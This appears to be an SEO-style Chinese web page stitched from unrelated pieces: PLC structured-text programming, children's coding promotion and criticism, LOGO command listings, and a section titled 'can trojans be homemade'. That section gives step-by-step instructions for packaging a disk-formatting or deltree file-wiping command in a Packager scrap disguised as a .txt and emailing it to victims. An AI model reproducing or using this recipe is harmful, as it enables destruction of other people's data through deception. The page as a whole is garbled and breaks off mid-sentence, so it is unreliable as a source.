近年來關(guān)注st少兒編程的用戶越來越多,小編整理了關(guān)于ST(結(jié)構(gòu)化文本),SCL語言必定會成為PLC編程的主流語言,不會編程都不好意思說是搞工控的,今天先說說ST語言編程!,什么是少兒編程,終于有人說清楚了,少兒編程是如何掏空家長錢包的,木馬能自制嗎,電腦里的小烏龜單詞是什么,誰會搞logo**的??,供您參考
1.ST(結(jié)構(gòu)化文本),SCL語言必定會成為PLC編程的主流語言
ST(Struct Text結(jié)構(gòu)化文本),SCL( Control Language結(jié)構(gòu)化控制語言)必定會成為PLC編程的主流語言。經(jīng)過半個世紀(jì)的發(fā)展,現(xiàn)在的PLC已經(jīng)不是當(dāng)初那個只能進(jìn)行簡單邏輯控制的PLC,而是集運動控制,總線通訊,數(shù)據(jù)處理,通訊組網(wǎng),安全控制,故障記錄等各種功能于一身的自動化控制器。很顯然,單純的梯形圖已經(jīng)無法滿足這些需求。而之所以推崇梯形圖,無怪乎兩個原因:1、 梯形圖直觀易懂,便于入門2 、ST不便于維護(hù)其實,這些原因,都是把PLC當(dāng)作可編程邏輯控制器來用,只進(jìn)行簡單的邏輯控制,才得出的理由。然而,PLC早就不是僅僅進(jìn)行邏輯控制的可編程邏輯控制器了。如果要進(jìn)行運動控制,總線通訊,數(shù)據(jù)處理,通訊組網(wǎng),安全控制,故障記錄等各種功能,單純使用梯形圖是無法完成任務(wù)的。而隨著生產(chǎn)工藝的進(jìn)步,這些功能已經(jīng)成為PLC的主流功能。所以,很多廠家推出了PAC控制器,也就是可編程自動化控制器。使用ST語言,有如下優(yōu)點:1 、簡化指令梯形圖中各種繁瑣的指令,都在ST語言中進(jìn)行了簡化。比如MOVE,DMOVE,BMOVE等各種復(fù)雜的傳遞指令,ADD,DADD,SUB,DSUB等各種復(fù)雜的數(shù)學(xué)運算,只需要一個賦值語句就可以實現(xiàn),非常簡便。還有各種讓人頭昏眼花的比較指令,都得到了簡化。使用ST語言,就不需要去記憶各種繁瑣復(fù)雜的指令了。2 、實現(xiàn)復(fù)雜算法各種復(fù)雜算法,可以輕易實現(xiàn)。尤其是控制工藝復(fù)雜的場合。比如化工,紡織等行業(yè),有很多算法需要專門的控制器實現(xiàn),而有了ST語言,就可以輕松在PLC中實現(xiàn),節(jié)省成本。3 、程序結(jié)構(gòu)更緊湊ST語言中,使用IF和CASE語句來組織程序結(jié)構(gòu),非常方便,一目了然。4 、可讀性更強ST語言采用文本的編輯方式,自由增加注釋,符合人的正常思維5、 跨平臺復(fù)制粘貼可以在不同的PLC之間復(fù)制粘貼,非常方便。6 、提高程序破解難度使用ST語言編寫核心的工藝部分,不會被輕易破解仿制
2.不會編程都不好意思說是搞工控的,今天先說說ST語言編程!
最近想學(xué)習(xí)ST語言,想要ST語言以及功能塊的相關(guān)內(nèi)容?小編給大家分享一下現(xiàn)成的一些資料。至于更多的ST資料,需要自己慢慢歷練與積累。這話是論壇里版主說的。結(jié)構(gòu)化文本(ST-Strutured Text)是一種高級的文本語言,可以用來描述功能,功能塊和程序的行為,還可以在順序功能流程圖中描述步、動作和轉(zhuǎn)變的行為。結(jié)構(gòu)化文本語言表面上與 PASCAL語言很相似,但它是一個專門為工業(yè)控制應(yīng)用開發(fā)的編程語言,具有很強的編程能力用于對變量賦值、回調(diào)功能和功能塊、創(chuàng)建表達(dá)式、編寫條件語句和迭代程序等。1、采用高級語言進(jìn)行編程,可以完成較復(fù)雜的控制運算;2、需要有一定的計算機高級程序設(shè)計語言的知識和編程技巧,對編程人員的技能要求較高,普通電氣人員無法完成。3、直觀性和易操作性等性能較差; 4、常被用于采用功能模塊等其他語言較難實現(xiàn)的一些控制功能的實施。提示注意:不是所有的PLC都支持所有的編程語言(如功能塊圖、順序功能圖就有很多低檔PLC不支持)接下來就看看關(guān)于ST的專業(yè)講解吧!其中,需要說明的是:LAD:梯形圖----------日系稱作為LDSTL:指令表---------日系稱作為ILSCL:結(jié)構(gòu)文本-------日系稱作為STGRAPH:圖形編程-----日系稱作為:高級圖形編程CFC:連續(xù)功能編程
3.什么是少兒編程,終于有人說清楚了
說到編程,想必大家腦海里首先想到的便是寫代碼,編程序,具體可以看那些天天996的碼農(nóng)們。少兒編程的話,那就是小孩子學(xué)的編程了,同樣也是寫代碼,編程序。如果這么想,那就大錯特錯了。現(xiàn)在長話短說,現(xiàn)在南京小碼王少兒編程培訓(xùn)機構(gòu)就來給大家科普下,究竟什么是少兒編程?! 【幊膛c少兒編程定義區(qū)分 編程:編程是編寫程序的中文簡稱,就是讓計算機代為解決某個問題,對某個計算體系規(guī)定一定的運算方式,是計算體系按照該計算方式運行,并最終得到相應(yīng)結(jié)果的過程。為了使計算機能夠理解人的意圖,人類就必須將需解決的問題的思路、方法和手段通過計算機能夠理解的形式告訴計算機,使得計算機能夠根據(jù)人的指令一步一步去工作,完成某種特定的任務(wù)?! ∩賰壕幊蹋荷賰壕幊探逃⒎歉叩冉逃菢訉W(xué)習(xí)如何寫代碼、編制應(yīng)用程序,而是通過編程游戲啟蒙、可視化圖形編程等課程,培養(yǎng)學(xué)生的計算思維和創(chuàng)新解難能力。例如學(xué)生在制作一個小動畫的過程中,自己拆分任務(wù)、拖拽模塊、控制進(jìn)度,從而理解“并行”、“事件處理”、“目標(biāo)實現(xiàn)”的概念?! ‖F(xiàn)在重點說一下少兒編程概念 少兒編程教育是區(qū)別于成人編程教育,針對3到18歲的青少兒通過寓教于樂的方式來學(xué)習(xí)編程語言,基于可視化圖形編程工具和基礎(chǔ)編程語言構(gòu)建在線編程學(xué)習(xí)平臺和開源硬件平臺,讓孩子通過可視化圖形編程、代碼編程和機器人編程培養(yǎng)動手能力,邏輯思維能力,計算能力等,學(xué)習(xí)編程來串聯(lián)各個*。其屬于素質(zhì)教育的一個分支,也是*在基礎(chǔ)教育階段針對AI教育領(lǐng)域下的提前布局,最終達(dá)到讓孩子成為全科型人才?! ∩賰壕幊探逃荢TEAM教育下的一個新賽道,被稱作K12賽道*的金礦。通過STEAM教育的學(xué)習(xí),建立理論知識框架,最終通過結(jié)合創(chuàng)客教育的理念進(jìn)行理論知識輸出,提高實踐能力。作為教育領(lǐng)域下的黑馬賽道,編程教育也因其能夠通過融合各個*,培養(yǎng)孩子科學(xué)素養(yǎng)和實踐能力而受到家長的重視?! 【幊探逃恢皇亲尯⒆訐碛芯幊痰哪芰Γ峭ㄟ^編程的學(xué)習(xí)提升數(shù)字素養(yǎng),培養(yǎng)信息意識,形成*融合的能力;編程化計算思維的建立,為解決實際問題提供更富邏輯化的思路,最終能夠?qū)崿F(xiàn)技術(shù)創(chuàng)新,并且能夠體驗技術(shù)實踐?! 【幊陶n的學(xué)習(xí),使孩子的邏輯思維、數(shù)學(xué)理解、英語興趣、嚴(yán)謹(jǐn)理念、解決問題能力、動手能力和創(chuàng)造力都會有不同程度的提高,以期提升個人未來競爭力。 學(xué)少兒編程的3個問題需要弄清 家長在思考是否要為孩子選擇少兒編程時,需要先搞清楚幾個問題。孩子學(xué)編程,不是為了做未來的程序員。成人學(xué)編程是作為職業(yè)手段,而孩子學(xué)編程更注重素質(zhì)培養(yǎng),尤其是“編程思維”。編程思維是我們解決問題的一種方法,是邏輯思維的一種,就是利用我們已有的知識和工具,將自身的思路轉(zhuǎn)化成邏輯運算的步驟,從而完成復(fù)雜的任務(wù)?! ∩賰壕幊探逃占皩硎裁醋兏? 經(jīng)過幾年的發(fā)展和摸索,編程教育已經(jīng)開始進(jìn)入中*課堂。至此,編程將很有可能成為“新英語”,而隨著人工智能的推進(jìn),各行各業(yè)都將需要掌握編程能力的相關(guān)人才。所以,編程在10年、20年后將會成為一種主流的能力。家長若能及時跟進(jìn)幫助孩子提早學(xué)習(xí)相關(guān)課程,將為孩子的以后打下堅實的基礎(chǔ)。所以,此時趁著編程教育還未徹底普及,可以先行讓孩子接觸和學(xué)習(xí)相關(guān)課程,幫助孩子實現(xiàn)人生的領(lǐng)跑。
4.少兒編程是如何掏空家長錢包的
前段時間,有一個北京的親戚帶著他家小孩來我家暫住了幾天,得知我“會編程”,“學(xué)過編程”,便想了解一下少兒編程機構(gòu)選什么樣的好。我問他,為什么要報少兒編程,還在上幼兒園的小孩不太適合這種。答案很簡單,周圍的孩子都在學(xué),而且聽說學(xué)這個很有利于學(xué)習(xí),將來前途很廣。作為一個學(xué)生,我很難想象,一個之前甚至不愿意讓孩子多看電視的家長,會主動出錢讓孩子去學(xué)“編程”。我上網(wǎng)搜了一下,才發(fā)現(xiàn),我這個十八線城市,已經(jīng)開滿了各種少兒編程的線下門店。我問了問那位親戚,是什么讓他覺得少兒編程很好。接著,就是一大堆名詞:“人工智能”,“大數(shù)據(jù)時代”,“區(qū)塊鏈”,“深度學(xué)習(xí)”,“啟蒙教育”。但事實真的如此嗎?孩子真的在少兒編程中能學(xué)到這些我這個從事一些基礎(chǔ)編程兩年的學(xué)生,并且抱有極大熱情的人都學(xué)不太會的東西?我問了問周圍的人,答案都不樂觀。一位學(xué)長曾經(jīng)因為也有一個親戚學(xué)少兒編程而去旁聽了一節(jié)課,但得到的是什么?他們的課程主要是Scratch,Python。學(xué)長問授課老師,Python主要有些什么授課內(nèi)容,老師回答進(jìn)階的有Python Web程序。學(xué)長問他,主要學(xué)習(xí)什么框架,老師的回答是:HTML CSS這是任何一個有Python Web開發(fā)經(jīng)驗的人都不會做出來的回答。不管他是回答Django,F(xiàn)lask,Tornado,或是什么別的Web框架,甚至是回答Twisted,都要比回答這兩個標(biāo)記語言強得多。如此水平,這可能就是一部分少兒編程機構(gòu)的真實情況。很難說是不是所有少兒編程機構(gòu)都是這樣,也許有很多少兒編程機構(gòu)有真材實料。但在現(xiàn)如今我這個十八線城市少兒編程都在遍地開花的時代,我覺得一個城市有三家有真材實料的機構(gòu),恐怕都有些難。究竟是什么導(dǎo)致了這一切?其實這并不是偶然現(xiàn)象,少兒編程并不是一頭偶然走到風(fēng)口上的豬,可以說,少兒編程今天的輝煌,是一定的。從小到大,我們上過的特長班,興趣班,數(shù)不勝數(shù),繪畫書法圍棋籃球舞蹈。但為什么他們撈不到什么油水,大部分成為了爆炸的泡沫。很簡單,他們對用戶把握的更好,講述了一個又一個成功的故事,吸引家長來買課。更別提,他們還有無數(shù)營銷號,水軍。所以,我的結(jié)論是,少兒編程行業(yè),就是一團(tuán)巨大的泡沫。這個泡沫何時破滅,無人知曉。但,這個泡沫的破滅,將為OI教育行業(yè)帶來巨大的沖擊。近些年來,各種各樣的創(chuàng)新類競賽,比賽層出不窮,經(jīng)常被人稱為升學(xué)工具的它們,給*競賽帶來了巨大沖擊。其中首當(dāng)其沖的,是計算機創(chuàng)新競賽,人工智能競賽等,在OI沒有上榜時,它們甚至都成為了教育部認(rèn)可的競賽。我沒有參加過人工智能競賽,不清楚他們的賽制,但是據(jù)我所知市面上除了*比賽我不了解,有很大一部分這類人工智能比賽,僅僅是機器人比賽換皮,Scratch,Python小創(chuàng)意比賽換皮,甚至比創(chuàng)客更無技術(shù)含量。我相信,一個家長不太可能為自己上初/高中甚至*的孩子購買一塊RTX 2070,RTX2080甚至RTX2080Ti就是為了參加人工智能競賽,更何況,沒有系統(tǒng)學(xué)習(xí)過線性代數(shù),也很難掌握等主流深度學(xué)習(xí)/機器學(xué)習(xí)庫的使用。根據(jù)以上推理我認(rèn)為市面上大部分人工智能競賽僅僅是一個噱頭。至于*比賽是不是,我沒有參加過,無法下結(jié)論。再談?wù)動嬎銠C創(chuàng)新,現(xiàn)在計算機創(chuàng)新的主力軍,往往是*生,是在*里學(xué)過數(shù)據(jù)結(jié)構(gòu),計算機底層架構(gòu)等等等專業(yè)課后才開始進(jìn)行計算機創(chuàng)新,而現(xiàn)在大部分計算機創(chuàng)新比賽,不出所料,還是各種機器人搭建+編程。這有意義嗎,我想還是有的。但值得家長花這么多時間,精力,金錢去讓自己的孩子和其他成千上萬的孩子去在培訓(xùn)機構(gòu)里學(xué)習(xí)創(chuàng)新嗎?至少我的答案不會是如此。有這么多錢我會選擇去買專業(yè)類的單片機,嵌入式以及算法書籍,自己用樹莓派以及單片機搭建出來的東西,參考現(xiàn)今互聯(lián)網(wǎng)上浩如煙海的資料,還能自己去看GitHub上的優(yōu)秀項目,這些,往往比老師能教給你的創(chuàng)新能力更多,這些,才是一個學(xué)生創(chuàng)新時應(yīng)該干的,而不是盲從于培訓(xùn)機構(gòu)。創(chuàng)新,是一件自然而然的事情,而不是培訓(xùn)機構(gòu)的訓(xùn)練能教出來的。同樣,大數(shù)據(jù),區(qū)塊鏈這些知識,也是你幾乎無法在培訓(xùn)機構(gòu)里接觸,了解,運用的。大數(shù)據(jù),無非是聚合大量的數(shù)據(jù)在一起參考。這個概念已經(jīng)被吹的太久太久。但其實它既簡單,又復(fù)雜,簡單到一個上手開發(fā)幾個月的人就能做,復(fù)雜到從事幾年的人依然焦頭爛額。簡單的大數(shù)據(jù),我收集全年級的數(shù)據(jù),例如身高,體重,成績等等等,放到一個最普通的數(shù)據(jù)庫里面,這,就是大數(shù)據(jù)。大數(shù)據(jù)是一個相對的概念,相對于人腦,上面說到的那個簡簡單單的數(shù)據(jù)庫就是大數(shù)據(jù),這也是一個學(xué)生能接觸到的最簡單的大數(shù)據(jù)實現(xiàn)。但真正能賺錢的大數(shù)據(jù),是相對于常規(guī)數(shù)據(jù)庫的大數(shù)據(jù),通常用非常規(guī)方式進(jìn)行管理,涉及到集群,容器,數(shù)據(jù)庫等等方面,一般來講,學(xué)完這些知識,并且能做到熟練運用,對于一個學(xué)生來說是不大可能的,同時,收集這樣大量的數(shù)據(jù),負(fù)擔(dān)得起這樣大數(shù)據(jù)的基礎(chǔ)設(shè)施,也是學(xué)生不大可能負(fù)擔(dān)得起的(除非你家里有礦,有的話請務(wù)必給我分點),很顯然,常人對大數(shù)據(jù)的認(rèn)知來源于幾個方面,一是新聞上反復(fù)提到大數(shù)據(jù),大數(shù)據(jù)有多么多么牛逼。二是手機上的APP會通過數(shù)據(jù)聚合等方式來給你推送個性化內(nèi)(guang)容(gao),這些也確實是生活中常見的大數(shù)據(jù)用途,但是,我相信一個少兒編程機構(gòu)絕對不會教給你這些。我所接觸到的所有少兒編程機構(gòu),連一個上過數(shù)據(jù)庫的課程都沒有,更別提進(jìn)階一點的大數(shù)據(jù)。還有區(qū)塊鏈。區(qū)塊鏈嚴(yán)格意義上來講,是一個去中心化的網(wǎng)絡(luò)思想,涉及到一系列加密算法。同樣的,少兒編程連base64這種基本的編碼都不可能涉及,還會給你密碼學(xué)入門到精通?TCP/IP協(xié)議精通?顯然是不可能的。所以,少兒編程之所以能圈錢,無非是瞄準(zhǔn)了大多數(shù)家長的心態(tài),即孩子必須走在自己預(yù)先規(guī)劃好的道路上,或者孩子必須成為自己期望中的樣子,這個范圍有大有小,可能有的家長希望孩子從事什么職業(yè),有的家長僅僅希望孩子的數(shù)學(xué)能考多少分,這些想法從本質(zhì)上來講,都是對孩子的愛,只不過,這些愛意被濫用,成為了孩子身上的枷鎖,成為了培訓(xùn)機構(gòu)的搖錢樹。希望終有一天,有人能揭露這些培訓(xùn)機構(gòu),同學(xué)們都能從事自己喜歡的事情。愿我們所喜愛的OI,永不破滅。Update:關(guān)于評論區(qū)中的“管住嘴”和“手機”的相關(guān)言論,建議大家笑笑就好,不要太在意這個人的各種言論。評論區(qū)有人說他是少兒編程機構(gòu)的銷售,有人說他沒有參與過項目開發(fā)等等,這個人使用各種話術(shù),他的概念也大部分來源于產(chǎn)品經(jīng)理的一些管理方式,我不清楚此人的背景,但可以肯定的是,這個人把各種在他工作中得到的相關(guān)觀點,強行帶入計算機科學(xué)教育,而且這個人善于曲解他人的話,和這樣一個人辯論是沒有意義的。各位是程序員,各位是OIer,各位是或?qū)頃怯嬎銠C科學(xué)家,大家都很清楚,產(chǎn)品經(jīng)理都是一些什么樣的人,他們所接觸到的知識領(lǐng)域是什么樣的。他們與我們的涉獵范圍是完全不一樣的,我們可以把自己寫的代碼定義成自己做的項目,Linus這么做,GNU基金會這么做,大部分開源項目都是這樣做的。至于他想表述的Scratch是面向角色編程,他想說Python不是腳本語言,這很顯然是一個根本沒有從事過多少Python開發(fā),應(yīng)用的人才會說出來的話。和這樣一個人辯論,其實和一個民科辯論并沒有什么區(qū)別,你說服不了某人調(diào)和級數(shù)不收斂,而事實也不是調(diào)和級數(shù)收斂于61.35,希望大家不要把寶貴的時間浪費在這樣一個人上面,也希望大家不要再進(jìn)行人生攻擊,如果他繼續(xù)人身攻擊,地域歧視等等,大家可以舉報,沒有必要回復(fù)他,給他借題發(fā)揮的機會。本身,用教條式的思維規(guī)范計算機行業(yè)這樣一個由新鮮思維碰撞在一起而誕生的行業(yè)本身就是一件沒有意義的事情,從來沒有一個程序員規(guī)定一個項目必須走什么流程要怎么怎么樣才算一個項目,規(guī)定它的是產(chǎn)品經(jīng)理,是甲方乙方,這些東西不會出現(xiàn)在任何開源項目中,也不會妨礙開源項目是一個項目。類似這樣的人我們見到過很多很多,稍有常識的人就會知道這些概念的錯誤性。誠然,這個人認(rèn)為他的看法才是常識,在此我不再反對,你無法叫醒一個裝睡的人,他是什么成功人士還是什么loser也與我無關(guān),在座各位的未來都掌握在自己手上,不會因為“管住嘴”的成功之路而成功。望共勉。
5.木馬能自制嗎
木馬完全可以自制,你可以根據(jù)自己所需的作用來制作各種各樣的木馬學(xué)木馬先要會編程,你先把這個搞懂吧!1.創(chuàng)建一個只包含一個空格(為了減小文件體積)的文本文件,任意取名。 2.打開{寫字板文檔},將此文件拖放入{寫字板文檔}。也可以點擊記{寫字板 文檔}單欄中的“插入\對象”,彈出“插入對象”對話框,選中“從文件創(chuàng)建”,然后 點擊“瀏覽”按鈕選擇要插入的文件。 3.選中該插入對象的圖標(biāo),選擇菜單欄中的“編輯\包對象\編輯包”(如圖1)。在彈 出的“對象包裝程序”對話框中,選擇菜單欄中的“編輯\命令行”,然后輸入如下命令 :start.exe /m format c:/q /autotest /u ,點擊“確定”,此時,內(nèi)容欄中會顯示 出命令內(nèi)容。 4.點擊外觀欄中的“插入圖標(biāo)”按鈕,會彈出一個警告對話框,確認(rèn),然后任選一 個圖標(biāo)。 5.選擇菜單欄中的“編輯\卷標(biāo)”,為此嵌入對象取一個名稱(會替換原來的文件名 稱)。點擊“文件”菜單中的“更新”,然后關(guān)閉此對話框。 6.將剛剛建立的嵌入對象拖放到桌面上。文件的默認(rèn)名是“碎片”(在2000下的默 認(rèn)名為”片段”),現(xiàn)在我們把它改成“.txt”。打開電子郵件程序?qū)⒆烂?上的“.txt”作為附件發(fā)出,或者將含有嵌入對象(帶有惡意命令)的文檔作 為附件發(fā)出。 7.當(dāng)郵件接收者誤將“.txt.shs”文件作為“.txt”(如前文 所述,“.SHS”擴展名永遠(yuǎn)是隱藏的)放心地打開時,或打開文件,點擊文件中的嵌入對 象時觸發(fā)惡意命令(彈出DOS運行窗口,執(zhí)行格式化命令).如果將上面的命令替換為:st art.exe /m deltree /y a:\*.* c:\*.* d:\*.* 則是將刪除對方硬盤下所有文件(盤符 根據(jù)實際情況自定義);如果替換為:start.exe /m deltree /y c:\windows\system\*.* 則是刪除對方c:\windows\system\目錄底下的所有文件.(當(dāng) 然大家可以改成其它的命令) 很簡單,這樣一個惡意的攻擊程序被弄出來了!
6.電腦里的小烏龜單詞是什么
LOGO語言是一種早期的編程語言,也是一種與自然語言非常接近的編程語言,它通過"繪圖"的方式來學(xué)習(xí)編程,對初學(xué)者特別是兒童進(jìn)行寓教于樂的教學(xué)方式。 LOGO語言創(chuàng)始于1968年,是美國*科學(xué)基金會所資助的一項專案研究,在麻省理工(MIT)的人工智能研究室完成。 LOGO源自希臘文,原意即為思想,是由一名叫佩伯特的心理學(xué)家在從事兒童學(xué)習(xí)的研究中,發(fā)現(xiàn)一些與他的想法相反的教學(xué)方法,并在一個假日中出外散步時,偶然間看到一個像海龜?shù)臋C械裝置觸發(fā)靈感,于是利用他廣博的知識及聰明的才智而最終完成了LOGO語言的設(shè)計。 LOGO語言命令大全 1、前進(jìn)命令: FD [格式]:FORWARD :X [縮寫]:FD :X [功能]: 使海龜向前移動指定的 X步。 2、后退命令: BK [格式]: BACK :X [縮寫]: BK :X [功能]: 使海龜向后倒退指定的 X步。 3、右轉(zhuǎn)命令: RT [格式]: RIGHT :X [縮寫]: RT :X [功能]: 海龜向右轉(zhuǎn) X度,(按順時針方向)。 4、左轉(zhuǎn)命令: LT [格式]: LEFT :X [縮寫]: LT :X [功能]: 海龜向左轉(zhuǎn) X度,(按逆時針方向)。 5、藏龜命令: HT [格式]: [縮寫]: HT [功能]: 讓海龜隱身。 6、顯龜命令: ST [格式]: [縮寫]: ST [功能]: 讓海龜重現(xiàn)。 7、回家命令: HOME [格式]:HOME [功能]:海龜回到源點上。但是不清除屏幕,不改變海龜?shù)钠渌鼱顟B(tài)。 8、橫移命令: SETX [格式]: SETX :X [功能]: 海龜水平移動到命令中 :X所指定的坐標(biāo)位置, 并留下蹤跡。 9、縱移命令: SETY [格式]: SETY :Y [功能]: 海龜垂直移動到命令中 :Y所指定的坐標(biāo)位置, 并留下蹤跡。 10、走到命令: SETXY [格式]: SETXY [:X :Y] 或 SETXY SE :X :Y [功能]: 海龜從當(dāng)前位置移到坐標(biāo)為 (X,Y) 的地方,(在落筆的狀態(tài)下)并在移動的線路上留下一段直線。(后者可使用變量、表達(dá)式) 11、角度命令: SETH [格式]: SETH :D [功能]: 將海龜順時針轉(zhuǎn)到指定的方向上。 [注意]: 海龜初始時頭向上, 定位為0°, 旋轉(zhuǎn)一周為360°。 12、查詢海龜?shù)臋M坐標(biāo):XCOR [格式]: XCOR [功能]: 輸出海龜當(dāng)前的水平位置(X軸上)。 13、查詢海龜?shù)目v坐標(biāo):YCOR[格式]: YCOR [功能]: 輸出海龜當(dāng)前的垂直位置(Y軸上)。 14、查詢海龜當(dāng)前的方向:HEADING [格式]: HEADING [功能]: 輸出海龜當(dāng)前的方向(角度)。 15、清屏復(fù)位命令:CS [格式]: [縮寫]:CS [功能]:清除屏幕上的圖形,讓海龜回到源點,頭向上。但是海龜?shù)钠渌麪顟B(tài)(畫筆的顏色、粗細(xì)、花紋等)都不變。 16、清屏命令: CLEAN [格式]:CLEAN [功能]:清除屏幕上的圖形, 但是不改變海龜?shù)臓顟B(tài)(當(dāng)前的位置和方向)。 17、重復(fù)命令: REPEAT [格式]: REPEAT 次數(shù)[執(zhí)行重復(fù)的內(nèi)容] [功能]: 讓計算機重復(fù)執(zhí)行一些命令。 18、畫矩形命令:STAMPRECT [格式]: STAMPRECT :X :Y (畫空心矩形) (STAMPRECT :X :Y "TRUE) (畫實心矩形) [功能]: 以海龜原來所在的位置為起始點畫矩形。 [注意]: ⑴用STAMPRECT命令畫出來的矩形始終是垂直的。 ⑵引號和TURE之間不留空格。 19、畫橢圓命令: STAMPOVAL [格式]: STAMPOVAL :X :Y (畫空心橢圓形) (STAMPOVAL :X :Y "TRUE) (畫實心橢圓形) [功能]: 以海龜原來所在的位置為圓心畫橢圓。 [注意]: ⑴如果X方向的半徑和Y方向的半徑相等, 那么畫出來的就是一個圓。 ⑵用STAMPOVAL命令畫出來的橢圓始終是順著X, Y方向畫的。海龜*停留在圓的中心。 20、提筆命令: PU [格式]: PENUP [縮寫]: PU [功能]: 把海龜?shù)漠嫻P提起來, 移動時不留下筆跡。 21、落筆命令: PD [格式]: PENDOWN [縮寫]: PD [功能]: 讓海龜下筆, 恢復(fù)海龜?shù)漠嬀€功能。 22、筆色命令: SETPC [格式]: SETPC :N (:N為顏色代碼) [功能]: 設(shè)置畫筆的顏色。 23、背景顏色命令:SETBG [格式]: SETBG :N (:N為顏色代碼) [功能]: 剛進(jìn)入LOGO系統(tǒng)時, 背景顏色是黑色。使用這命令可以改變背景顏色。 24、進(jìn)入編輯器: [格式]: ⑴EDIT ⑵EDIT 過程1 過程2 ?? ⑶EDIT ALL [功能]: ⑴建立新的過程或編輯*一次定義的過程。 ⑵編輯內(nèi)存中指定的過程。 ⑶編輯內(nèi)存中所有的過程。 [說明]: LOGO編輯器共分為3個區(qū): 最上方是菜單區(qū), 中間是編輯區(qū), 下面是熱鍵提示區(qū)。 25、存盤命令: SAVE [格式]: SAVE "文件名 [功能]: 把當(dāng)前工作區(qū)里的所有過程以指定的文件名存盤。 LOGO文件的擴展名為 .LGO。 而使用SAVEPIC命令是把圖形存盤, 但無法進(jìn)行修改, 且所占磁盤空間比較大。 [注意]: 在編好一個程序并使用SAVE命令存盤以后, 應(yīng)當(dāng)使用ER ALL命令刪除當(dāng)前工作區(qū)內(nèi)的所有過程。以免與其他的程序混亂在一起。 26、讀盤命令: LOAD [格式]: LOAD "文件名 [功能]: 把已經(jīng)存在當(dāng)前驅(qū)動盤里的程序文件讀入當(dāng)前工作區(qū)。 27、列磁盤目錄命令: DIR [格式]: DIR [功能]: 顯示當(dāng)前目錄下的所有文件名。 28、條件命令: (IF?THEN?) [格式1]: IF 條件 THEN 命令 [功能]: 如果(IF)后面給定的條件成立, 那么就執(zhí)行后面(THEN)的命令; 否則就直接執(zhí)行下一行的其它命令。 [格式2]: IF 條件 [命令1] [命令2] [功能]: 如果(IF)后面給定的條件成立, 那么就執(zhí)行命令1, 否則就執(zhí)行命令2。 [說明]: 條件都用“比較算式”表示。常用的“比較符號”有: >大于、<小于、=等于=、>=大于或等于,(“=>”和“>=”的意義是相同的)、<=小于或等于,(“=<”和“<=”的意義是相同的)。 29、復(fù)合條件: (邏輯判斷 < 表達(dá)式 > < 比較符 > < 表達(dá)式 >) ①、邏輯非: NOT [格式]: NOT 條件 [說明]: 當(dāng)條件為真時, 邏輯非運算的結(jié)果為假 (FALSE); 當(dāng)條件為假時, 邏輯非運算的結(jié)果為真(TRUE)。 ②、邏輯或: OR [格式1]: OR 條件1 條件2 [格式2]: (OR 條件1 條件2 條件3??) [說明]: 當(dāng)所有條件都不成立,即條件全為假(FALSE), 邏輯或的結(jié)果為假,否則為真(TRUE)。 ③、邏輯與: AND [格式1]: AND 條件1 條件2 [格式2]: (AND 條件1 條件2 條件3??) [說明]: 當(dāng)所有條件同時成立,即條件都為真(TRUE), 邏輯與的結(jié)果為真,否則為假(FALSE)。 30、停止命令: STOP [格式]: STOP [功能]: 停止正在執(zhí)行中的命令。
7.誰會搞logo**的
*就學(xué)什么編法的啦,不會吧,現(xiàn)在的*生還真是任務(wù)艱巨吖,年紀(jì)小小就要去學(xué)這么深奧的東西LOGO語言是一種早期的編程語言,也是一種與自然語言非常接近的編程語言,它通過“繪圖”的方式來學(xué)習(xí)編程,對初學(xué)者特別是兒童進(jìn)行寓教于樂的教學(xué)方式。1.作為一個程序是以“起始”為開始,“終止”為結(jié)束。當(dāng)選擇“編輯新程序”時,在程序編輯區(qū)中將會出現(xiàn)以下的字符,供程序者填入相應(yīng)的命令。To(起始)程序名稱N//修改程序名稱以供識別…………..…………..//輸入解決問題所用到的命令…………..End(終止)2.繪制不同大小的圖形時需要選擇不同的參數(shù),所以使用者在設(shè)計程序時,需要使用一個比較適合的并有意義的名稱來代表,傳給參數(shù)的數(shù)值資料不同則執(zhí)行結(jié)果也就不同,并且程序在執(zhí)行過程中,也會不斷地變化參數(shù)的內(nèi)容。在選擇參數(shù)時,需要在參數(shù)名稱前面加上冒號,用來與一般程序中的命令區(qū)別開。如:起始程序名稱N:參數(shù)1:參數(shù)2…//定義列…………….Repeat:參數(shù)1[Forward:參數(shù)2…]//輸入解決問題所需的命令…………….終止當(dāng)程序內(nèi)容含有參數(shù)時,必須將所有參數(shù)寫在定義列之后,以便執(zhí)行時能接收必要的資料。3.IF…THEN…ELSE…條件執(zhí)行語句基本格式為:IF條件表達(dá)式THEN[命令行1]ELSE[命令行2][命令行3]當(dāng)條件表達(dá)式:成立時,執(zhí)行[命令行1]內(nèi)的命令;不成立時,執(zhí)行[命令行2]內(nèi)的指令;在執(zhí)行完[命令行1]或[命令行2]之后,則繼續(xù)執(zhí)行[命令行3]該軟件可在
如果以上內(nèi)容沒有幫到您,歡迎電話聯(lián)系我們,或者聯(lián)系在線客服咨詢